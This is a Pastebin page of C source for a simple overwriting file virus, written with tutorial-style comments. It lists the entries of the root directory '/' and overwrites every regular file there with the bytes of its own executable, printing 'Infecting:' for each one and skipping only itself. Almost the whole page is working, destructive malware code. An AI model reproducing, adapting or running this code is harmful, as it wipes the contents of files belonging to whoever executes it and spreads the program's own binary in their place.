Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include<stdio.h>
- #include<stdlib.h>
- #include<sys/types.h>
- #include<string.h>
- #include<errno.h>
- //readdir is defined here
- #include <dirent.h>
- //limit.h defines path_max
- #include<limits.h>
- int infectFile (char *virus, char *victim)
- {
- //Pointer to our file and file
- //needed to write
- FILE *fpV, *fpVictim;
- //Open our file for reading
- fpV = fopen(virus,"rb");
- if (fpV==NULL)
- {
- perror("Open test file");
- fclose(fpV);
- return 0;
- }
- //Open victim file for writing
- fpVictim = fopen(victim,"wb");
- if(fpVictim==NULL)
- {
- perror("Open target file");
- fclose(fpVictim);
- return 0;
- }
- int c;
- c = fgetc(fpV);//Read from file
- while(c!=EOF)//read until end
- {
- fputc(c, fpVictim);//write to file
- c = fgetc(fpV);//get next char
- }
- //remember to close our streams
- fclose(fpV);
- fclose(fpVictim);
- return 0;
- }
- //List the file in dir_name
- //Static in functions mean that only the
- //functions inside the same file can see
- //and use it
- static void list_dir(const char *dir_name,
- char *self)
- {
- //Dir* is similar to file* except it is
- //a directory stream instead of a file
- //stream
- DIR * d;
- //open the directory specified by "dir_name"
- //dir_name is the string of the base
- //directory we want to access and it is a
- //parameter passed from main
- d = opendir(dir_name);
- //check it was opened
- if(!d)
- {
- fprintf(stderr, "Cannot open directory '%s': %s\n",
- dir_name, strerror(errno));
- exit(EXIT_FAILURE);
- }
- while(1)
- {
- //here is our dirent struct given the
- //variable name "entry" and it holds the
- //information of the file/folder it has
- //queried such as type (file, directory, etc.)
- //and the name
- struct dirent * entry;
- //d_name is a variable to store the name of
- //the file for some convenience otherwise we
- //would constantly need to refer to the
- //struct to access the name member
- const char * d_name;
- //"Readdir" gets subsequent entries from "d".
- char fileName[PATH_MAX];
- int fileNameLength;
- entry = readdir(d);
- if(!entry)
- {
- //there are no more entries in this
- //directory, so break out of the
- //while loop
- break;
- }
- d_name = entry->d_name;
- fileNameLength = snprintf(fileName, PATH_MAX,
- "%s/%s",dir_name,
- d_name);
- //error checking to see if path is
- //too large to fit
- if (fileNameLength >= PATH_MAX)
- {
- fprintf(stderr,
- "Path length has got too long.\n");
- exit(EXIT_FAILURE);
- }
- //If the entry is not a directory
- //we'll attempt to infect it
- if(entry->d_type != DT_DIR)
- {
- //we need to check to not
- //infect our own file otherwise
- //an error would occur
- if (strstr(fileName,self+2)==NULL)
- {
- printf("Infecting: %s\n",fileName);
- infectFile(self, fileName);
- }
- //closedir(d);
- //list_dir(path,self);
- }
- //list_dir(path,self);
- //Recursively call "list_dir" with the
- //new path
- }
- //list_dir(path,self);
- //After going through all the entries, close
- //the directory
- //similar to closing the file stream with
- //FILE * with error checking
- if (closedir (d))
- {
- fprintf(stderr,
- "Could not close '%s': %s\n",
- dir_name, strerror(errno));
- exit(EXIT_FAILURE);
- }
- }
- int main(int argc, char *argv[])
- {
- //call a recursive function with
- //the base directory
- list_dir("/",argv[0]);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement